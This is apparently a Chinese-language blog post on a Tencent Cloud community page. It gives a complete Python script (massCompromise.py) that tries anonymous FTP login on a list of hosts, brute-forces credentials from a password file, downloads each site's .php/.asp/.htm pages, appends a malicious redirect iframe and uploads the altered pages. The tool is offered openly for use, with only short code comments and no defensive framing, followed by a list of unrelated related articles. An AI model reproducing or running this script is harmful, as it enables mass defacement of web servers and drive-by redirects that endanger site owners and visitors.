python 往ftp站点注入攻击

import ftplib import optparse import time

def attack(username,password,tgtHost,redirect): ftp = ftplib.FTP(tgtHost) ftp.login(username,password) defPages = returnDefault(ftp) for defPage in defPages: injectPage(ftp,defPage,redirect)

def anonLogin(hostname): try: ftp = ftplib.FTP(hostname) ftp.login('anonymous','123@123.com') print('\n[*] ' + str(hostname) + ' FTP Anonymous Logon Succeeded.') ftp.quit() return True except Exception as e: print('\n[-] ' + str(hostname) + ' FTP Anonymous Logon Failed.') return False

def bruteLogin(hostname,passwdFile): pF = open(passwdFile,'r') for line in pF.readlines(): username = line.split(':')[0] password = line.split(':')[1].strip('\r').strip('\n') print('[+] Trying: ' + username + '/' + password) try: ftp = ftplib.FTP(hostname) ftp.login(username,password) print('\n[*] ' + str(hostname) + ' FTP Logon Succeeded: ' + username + '/' + password) ftp.quit() return (username,password) except Exception as e: pass print('\n[-] Could not brubrute force FTP credentials.') return (None,None)

def returnDefault(ftp): try: #nlst()方法获取目录下的文件 dirList = ftp.nlst() except: dirList = [] print('[-] Could not list directory contents.') print('[-] Skipping To Next Target.') return

retList = []
for filename in dirList:
    #lower()方法将文件名都转换为小写的形式
    fn = filename.lower()
    if '.php' in fn or '.asp' in fn or '.htm' in fn:
        print('[+] Found default page: '+filename)
        retList.append(filename)
return retList

def injectPage(ftp,page,redirect): f = open(page + '.tmp','w') #下载FTP文件 ftp.retrlines('RETR ' + page,f.write) print('[+] Downloaded Page: ' + page) f.write(redirect) f.close() print('[+] Injected Malicious IFrame on: ' + page) #上传目标文件 ftp.storlines('STOR ' + page,open(page + '.tmp','rb')) print('[+] Uploaded Injected Page: ' + page)

def main(): parser = optparse.OptionParser('[*] Usage : ./massCompromise.py -H <target host[s]> -r <redirect page> -f <userpass file>]') parser.add_option('-H',dest='hosts',type='string',help='specify target host') parser.add_option('-r',dest='redirect',type='string',help='specify redirect page') parser.add_option('-f',dest='file',type='string',help='specify userpass file') (options,args) = parser.parse_args()

#返回hosts列表,若不加split()则只返回一个字符
hosts = str(options.hosts).split(',')
redirect = options.redirect
file = options.file

#先不用判断用户口令文件名是否输入,因为会先进行匿名登录尝试
if hosts == None or redirect == None:
    print(parser.usage)
    exit(0)

for host in hosts:
    username = None
    password = None
    if anonLogin(host) == True:
        username = 'anonymous'
        password = '123@123.com'
        print('[+] Using Anonymous Creds to attack')
        attack(username,password,host,redirect)
    elif file != None:
        (username,password) = bruteLogin(host,file)
        if password != None:
            print('[+] Using Cred: ' + username + '/' + password + ' to attack')
            attack(username,password,host,redirect)

if name == 'main': main()

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏git

用scrapy-redis爬去新浪-以及把数据存储到mysql\mongo

需求:爬取新浪网导航页(http://news.sina.com.cn/guide/)所有下所有大类、小类、小类里的子链接,以及子链接页面的新闻内容。

18520
来自专栏git

scrapy爬取--腾讯社招的网站

1)使用命令创建爬虫腾讯招聘的职位项目:scrapy startproject tencent

12910
来自专栏git

爬取豆瓣电影排名前250部电影并且存入Mongo数据库

需求:爬取豆瓣电影top250(https://movie.douban.com/top250)的电影数据:

9330
来自专栏git

python3 =>>>>虚拟环境的搭建

(1)virtualenv -p python3 flasky ---创建虚拟环境

13830
来自专栏git

为什么 Django 能持续统治 Python 开发世界

对于 Python 开发者来说,web 开发框架真可谓玲琅满目。然而 Django , 毋庸置疑的成为最受青睐的 web 框架。通过本篇博客,我来为大家讲解下为...

7330
来自专栏机器之心

Python 3.8 即将到来,这是你需要关注的几大新特性

从事计算机领域工作的读者朋友对 Python 编程语言应该非常熟悉了。这是一门广受好评的动态编程语言,其灵活和语法简易的特点使得这门语言在脚本工具、数据分析、W...

10320
来自专栏git

CrawlSpider(规则爬虫)和Spider版爬虫

1.规则爬虫--scrapy genspider -t crawl Question wz.sun0769.com

10910
来自专栏格姗知识圈

教你如何安装最好用的python编辑器

工欲善其事,必先利其器。pycharm 是作为最好的 python 编辑器,没有之一。今天介绍如何在 Ubuntu 安装并使用 pycharm。推荐使用 lin...

15730
来自专栏git

Django(Python3) xadmin和富文本编辑器的配置

1.将下载好的DjangoUeditor3-master.zip解压,复制里面的DjangoUeditor文件夹到我们的项目根目录当

13720
来自专栏git

Spider爬虫--手机App抓包爬虫

23850

扫码关注云+社区

领取腾讯云代金券

年度创作总结 领取年终奖励